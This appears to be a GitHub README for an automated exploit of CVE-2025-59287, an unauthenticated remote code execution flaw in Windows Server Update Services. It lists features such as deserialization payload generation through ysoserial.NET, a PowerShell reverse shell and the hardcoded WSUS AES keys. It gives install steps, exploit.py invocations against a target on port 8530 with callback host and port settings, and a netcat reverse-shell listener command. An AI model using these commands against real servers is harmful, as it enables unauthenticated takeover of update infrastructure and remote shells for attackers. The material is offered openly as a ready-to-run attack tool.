garvitv14/cve-2025-59287Automated exploit for CVE-2025-59287, an unauthenticated RCE in WSUS, featuring payload generation, reverse shell listener, and AES encryption with hardcoded keys.
Automated exploit for Windows Server Update Services (WSUS) unauthenticated remote code execution vulnerability.
✅ Fully automated payload generation
✅ Auto-downloads ysoserial.NET dependency
✅ Built-in reverse shell listener
✅ Cross-platform support (Windows/Linux/Mac)
✅ AES encryption with WSUS hardcoded keys
✅ PowerShell reverse shell payload
pip install -r requirements.txt
sudo apt install wine-stable
sudo apt install mono-complete
Clone or download exploit files
cd CVE-2025-59287-exploit
Run exploit (auto-downloads ysoserial.NET)
python3 exploit.py -u http://target:8530 -lhost YOUR_IP -lport 4444
python3 exploit.py -u http://192.168.1.100:8530 -lhost 10.10.14.5 -lport 4444
Terminal 1: Start netcat listener
nc -lvnp 4444
Terminal 2: Run exploit without built-in listener
python3 exploit.py -u http://target:8530 -lhost 10.10.14.5 -lport 4444 --no-listener
